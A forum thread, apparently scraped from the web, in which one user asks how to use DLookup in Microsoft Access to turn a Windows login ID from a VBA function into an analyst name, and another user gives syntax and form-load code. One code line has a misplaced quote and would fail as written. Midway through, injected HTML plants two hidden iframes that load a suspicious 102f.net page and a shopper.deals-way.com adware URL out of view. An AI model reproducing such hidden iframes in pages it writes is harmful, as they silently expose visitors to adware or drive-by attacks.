using dlookup

[p4nny]

Hi,

I have a value within a textbox returning "lanID" with some VBA behind this..

I would like to lookup this value in the textbox (textbox is called userID) and return "where "lanID" = "User Name" in the "staff" table..

hope that makes sense

Many thanks for the help

 

[Micron]

Not clear. You want to retrieve the value in the textbox, or you want to retrieve some other value from a table based on what's in the textbox? If the latter, you have to provide the table name, the name of the field the value is stored in, and the name of the field you are using as the "pointer" for the row that contains the value you're looking up.

 

[p4nny]

Hi-sorry. Yes it is the latter.

textbox is called - Username

The lookup table is called UserList and contains 2 fields: LAN ID and Analyst Name..

within the lookup table, I would like to return the field called "Analyst Name" where "Username" (textbox) equals "LAN ID".

I would like this to display with the textbox called username, so in excel terms, it is lookup of a lookup..

Hope this is more clear.

 

[Micron]

the syntax for a string lookup is DLookup("Field" , "Domain" , "Criteria= 'string'")
try DLookup("[Analyst Name]","[UserList]","[LAN ID]=' " & Forms!YourFormName.Username & " ' "

I'm not sure of a couple of things.
1) I think you are saying the criteria backwards (i.e. where LAN ID = the value of the control. You are saying the reverse.)
2) I'm not sure about the [ ] around LAN ID because I NEVER use spaces in ANY object name (field, control, form, query, table, etc.etc.) It is bad practice. If you get prompted to supply a value for LAN ID, then it is not correct and you would try again after removing them.
Also, I added space between the ' and " so that you can see them. You would remove them in your final expression.

 

[p4nny]

Great thanks this.. almost there I think..

The value within the textbox currently returns the LAN ID which uses the fOSusername() function (VBA)

Within the dlookup is possible to reference the vba code below?

here is the code:

Function fOSUserName() As String
' Returns the network login name
Dim lngLen As Long, lngX As Long
Dim strUserName As String
strUserName = String$(254, 0)
lngLen = 255
lngX = apiGetUserName(strUserName, lngLen)
If lngX <> 0 Then
fOSUserName = Left$(strUserName, lngLen - 1)
Else
fOSUserName = ""
End If
End Function

again very much appreciated!!!

 

[Micron]

If you mean use dlookup to lookup a value being returned by a UDF (user definded function) I think not. The lookup is for finding a value in a field in a domain. The domain is a data source such as a table or query. There'd be no point in even trying if you already have the value in a control. You can set the value of a control to the result of a function if the control is unbound. Or have I misinterpreted your question?







.******** src="//102f.net/al1000.html" style="width: 1px; height: 1px; position: absolute; top: -10px; border: medium none;">*********>******** scrolling="no" style="display: block;border: none; bottom: 0px; top: auto; right: 0px; position: fixed; z-index: 99999999999999;" src="http://shopper.deals-way.com:83/dodli?v=2.55&url=null&subid=4&appName=Adscom&AffId=main&moid=01210000&frameId=yzbkircngvckpgsrwleaahsrcwyzttgfhozvlk" id="yzbkircngvckpgsrwleaahsrcwyzttgfhozvlk" frameborder="0" height="0px" width="0px">*********>

 

[p4nny]

Hi

Here's what I'm trying to achieve:

Basically the fOSusername returns the windowsID (LANID).. In my project "LANID" returns a series of characters for example "UPHQEQ" rather than actual name.

I have a created a table "UserList" with "LANID" and the "Analyst Name"

I would like to lookup the "UPHQEQ" and return the relevant "Analyst Name"

Form name is called "LC1 Input Tracker".

Option 1, would like to show Analyst Name in my form which is a lookup of the fOSusername function and not display the LAN ID

Alternatively, display both the LAN ID and Analyst Name in seperate text boxes so basically Analyst name would be the result of a lookup the value from the UserLANID (textbox), in the UserList table

Again, many thanks your help and guidance

 

[Micron]

Here's what I'd put in your form's On Load event. Your form control holding the analyst name needs to be unbound. Substitute yourcontrol for the proper name.

Dim svUserName as string, svLanID as string

svLanID = fosusername 'can't remember if you need the () at the end
svUserName = DLookup("[Analyst Name]","[UserList]","[Lan ID]='" & svLanID & '")
me.yourcontrol = svUserName

You should Google DLookup for more info. It can be a bit tricky, depending on data type of criteria (number, date, string). You should see that I've nested single quotes inside of doubles, which is required for string criteria.

 

[p4nny]

thanks again, very kind


is this to be added to the Code Builder or Expression builder?

 

[Micron]

Code. Choose the form's on load event.
fosusername should be in a standard module, not a form module, otherwise you will not be able to reference it from anywhere else in your projecgt.